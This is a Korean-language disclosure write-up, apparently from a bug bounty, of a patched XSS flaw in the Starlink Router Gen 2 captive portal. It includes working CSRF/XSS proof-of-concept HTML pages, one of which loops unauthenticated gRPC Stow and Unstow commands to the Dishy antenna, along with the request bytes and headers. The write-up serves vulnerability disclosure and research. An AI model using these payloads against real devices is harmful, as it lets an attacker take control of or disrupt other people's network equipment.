TL;DR

2세대 라우터의 초기 captive portal 페이지에서 발생하는 Cross-Site Scripting (XSS) 취약점을 통해 공격자는 Router 및 Dishy를 제어할 수 있습니다.

The Basics

  • Product : Starlink Router Gen 2
  • Tested Version : 2022.32.0 (The fix is in versions 2023.48.0 and up)
  • Bug-class : XSS (Cross-Site Scripting)

Overview of the Vulnerability

img1.png

해당 취약점은 초기 captive portal 페이지(http://192.168.1.1/setup)에서 ssid 및 password 파라미터에 대한 입력 값 필터링이 충분하지 않아 발생합니다.

<html>
	<body>
		<h1>Proof of Concept</h1>
		<form id="PoC" method="POST" action="http://192.168.1.1/setup">
			<input type="hidden" name="ssid" value='" onfocus=javascript:alert(`XSS`); autofocus="'>
			<!-- <input type="hidden" name="password" value='" onfocus=javascript:alert(`XSS`); autofocus="'> -->
		</form>
		<script type="text/javascript">
			document.addEventListener("DOMContentLoaded", function() {
				document.getElementById("PoC").submit();
			});
		</script>
	</body>
<html>

해당 Cross-Site Scripting (XSS) 취약점은 위의 PoC(Proof of Concept)처럼 Cross-Site Request Forgery (CSRF) 공격과 함께 활용될 수 있습니다.

reproduce(PoC).mov

Exploit

일반적으로는 Router의 내부 주소인 192.168.1.1에서만 captive portal 페이지가 활성화되어야 하지만, 구형 라우터에서는 Dishy의 내부 주소인 192.168.100.1에서도 예상치 않게 captive portal 페이지에 접근할 수 있는 버그가 있었습니다.

(원래는 Dishy의 내부 주소인 192.168.100.1에서는 captive portal 페이지에 접근할 수 없어야 합니다.)

192.168.100.1_PoC.mov

http://192.168.100.1/setup 주소에서도 똑같이 Cross-Site Scripting (XSS) 취약점이 발생하는 것을 확인할 수 있습니다.

이러한 버그와 Cross-Site Scripting (XSS) 취약점을 체이닝하면 브라우저의 Same-Origin Policy (SOP)를 우회하여 Router와 Dishy 모두를 제어할 수 있게 됩니다.

이제 이러한 버그를 활용하여 어떻게 Router와 Dishy를 제어할 수 있는지 살펴보겠습니다.

Dishy Stow Request Analysis

Starlink Dishy Stow

관리자 인터페이스에서 Stow명령을 내리면 아래와 같은 HTTP Request가 Dishy로 전달됩니다.

(여기서 Stow명령은 Dishy 안테나를 이동하거나 보관하기 위해 접을 수 있도록 하는 기능입니다.)

POST /SpaceX.API.Device.Device/Handle HTTP/1.1
Host: 192.168.100.1:9201
Content-Length: 8
x-grpc-web: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
content-type: application/grpc-web+proto
Accept: */*
Origin: http://dishy.starlink.com
Referer: http://dishy.starlink.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

�}

해당 Request의 헤더는 몇 가지 중요한 정보를 담고 있습니다.

  • x-grpc-web: 1

    gRPC-Web 프로토콜을 사용함을 나타냅니다.

    (gRPC-Web은 웹 클라이언트에서 서버로 gRPC 호출을 가능하게 하는 프로토콜입니다.)

  • content-type: application/grpc-web+proto

    전송되는 데이터가 gRPC 프로토콜을 사용하고, protobuf 형식으로 인코딩되었음을 나타냅니다.

Request Body

Dishy Stow Request body (Hex)

Dishy Stow Request body (protobuf encoded)

\x00\x00\x00\x00\x03\x92\x7d\x00

요청 body에는 grpc-web+proto 형식의 데이터가 포함되어 있으며, 이 데이터는 Stow 명령의 세부 사항을 담고 있을 것 입니다.

Dishy Stow Request body (protobuf decoded)

주어진 바이트 시퀀스 00 00 00 00 03 92 7d 00와 이를 디코딩한 결과를 바탕으로, user_terminal_frontend의 device.proto 파일에서 2002 필드 번호가 stow 기능과 매칭되는 것을 확인할 수 있습니다. 이를 통해 우리는 바이트 시퀀스가 실제로 어떤 의미를 가지는지 더 구체적으로 이해할 수 있습니다.

device.proto

이 정보를 종합해보면, 사용자가 관리자 인터페이스를 사용하여 Stow 명령을 내릴 경우, 해당 명령은 gRPC를 통해 Dishy로 전송되며, 이 과정에서 Dishy는 이동이 용이한 상태로 접혀집니다.

하지만 Request를 살펴보면 해당 요청을 보내는 사용자에 대한 인증이 없다는 것을 알 수 있습니다.

이 말은 관리자가 아닌 다른 누군가가 해당 요청을 똑같이 보내 무단으로 Dishy를 제어할 수 있음을 의미하는데, 해당 취약점은 공격자가 로컬 네트워크에 물리적으로 접근할 수 있어야 하므로, 원격으로 발생할 수 있는 공격에 비해 공격 범위가 제한적입니다.

CSRF 공격의 가능성과 한계

그렇다면, 같은 요청을 보내는 페이로드로 Cross-Site Request Forgery (CSRF) 공격을 시도할 수 있다는 생각이 들 수 있습니다.

물론 Cross-Site Request Forgery (CSRF) 공격이 가능한 시나리오일 수 있지만, 브라우저의 Same-Origin Policy (SOP) 때문에 이러한 공격이 제한됩니다.

gRPC는 application/grpc-web+proto라는 특정한 content-type 헤더를 요구합니다.

그러나, Same-Origin Policy (SOP)는 이 헤더를 브라우저가 다른 출처로부터 요청을 보낼 때 제거하도록 합니다.

이로 인해 일반적인 상황에서는 외부에서 Dishy로 gRPC 요청을 보내는 것이 불가능합니다.

XSS : SOP 우회를 위한 효과적인 방법

일반적으로 Same-Origin Policy (SOP)는 웹 브라우저가 다른 출처로부터의 요청을 제한합니다.

하지만 Cross-Site Scripting (XSS) 취약점을 이용하면, 공격자는 피해자의 웹 브라우저 내에서 스크립트를 실행할 수 있습니다.

Cross-Site Scripting (XSS) 취약점을 이용해 공격자가 삽입한 스크립트는 동일한 출처(즉, 피해자가 현재 접속해 있는 웹사이트)에서 실행된 것으로 간주됩니다.

이로 인해, Same-Origin Policy (SOP)는 이러한 스크립트에 의해 생성된 요청을 같은 출처의 요청으로 인식하며, 따라서 이 경우 Same-Origin Policy (SOP)의 제한이 적용되지 않습니다.

따라서 gRPC 요청과 같이 특정 content-type 헤더를 요구하는 경우 Cross-Site Scripting (XSS) 취약점을 이용한 Cross-Site Request Forgery (CSRF) 공격에서는, 공격 스크립트가 피해자의 브라우저 내에서 실행되기 때문에 정상적인 요청으로 인식해서 이러한 특정한 content-type 헤더도 포함되어 요청이 전송됩니다.

예를 들어, 192.168.100.1의 버그와 Cross-Site Scripting (XSS) 취약점을 체이닝하면, 공격자는 악의적인 스크립트를 통해 사용자의 브라우저를 프록시 삼아 Router나 Dishy에 명령을 내리는 요청을 보낼 수 있습니다. (공격자는 Dishy의 Stow 및 Unstow 명령을 포함한 다양한 요청을 보낼 수 있습니다.)

PoC (Proof of Concept)

그러므로, Cross-Site Scripting (XSS) 취약점과 앞서 언급한 버그를 체이닝해서 Dishy에 Stow gRPC 요청을 보내는 페이로드는 다음과 같이 구성할 수 있습니다. (결과적으로 공격자가 Router나 Dishy를 원격으로 조종할 수 있게 됩니다. 예를 들어, Router 설정을 변경하거나 Dishy의 기능을 조작하는 명령을 보낼 수 있습니다.)

<html>
	<body>
		<h1>Dishy Stow and Unstow</h1>
		<form id="PoC" method="POST" action="http://192.168.100.1/setup">
			<!-- <input type="hidden" name="ssid" value='" onfocus=javascript:alert(`XSS`); autofocus="'> -->
			<input type="hidden" name="password" value='"><script>for(let i=0;i<100;i++){setTimeout(()=>{var xhr=new XMLHttpRequest();xhr.open("POST","http://192.168.100.1:9201/SpaceX.API.Device.Device/Handle",true);xhr.setRequestHeader("x-grpc-web","1");xhr.setRequestHeader("Content-Type","application/grpc-web+proto");xhr.onreadystatechange=()=>{if(xhr.readyState==4&&xhr.status==200){console.log(xhr.responseText);}};xhr.send(new Uint8Array([0,0,0,0,3,146,125,0]).buffer);setTimeout(()=>{var xhr2=new XMLHttpRequest();xhr2.open("POST","http://192.168.100.1:9201/SpaceX.API.Device.Device/Handle",true);xhr2.setRequestHeader("x-grpc-web","1");xhr2.setRequestHeader("Content-Type","application/grpc-web+proto");xhr2.onreadystatechange=()=>{if(xhr2.readyState==4&&xhr2.status==200){console.log(xhr2.responseText);}};xhr2.send(new Uint8Array([0,0,0,0,5,146,125,2,8,1]).buffer);},1000);},i*2000);}</script><input type="hidden'/>
		</form>
		<script type="text/javascript">
			document.addEventListener("DOMContentLoaded", function() {
				document.getElementById("PoC").submit();
			});
		</script>
	</body>
<html>

Demo

Exploit-PoC.mp4

CVE

Time Line

  • 2023-10-10 : Vulnerability reported to SpaceX/Starlink
  • 2023-10-12 : Recognized as a security vulnerability with a severity of Moderate ( Reward $500 USD )
  • 2023-11-01 : Patched in the latest release (The fix is in versions 2023.48.0 and up)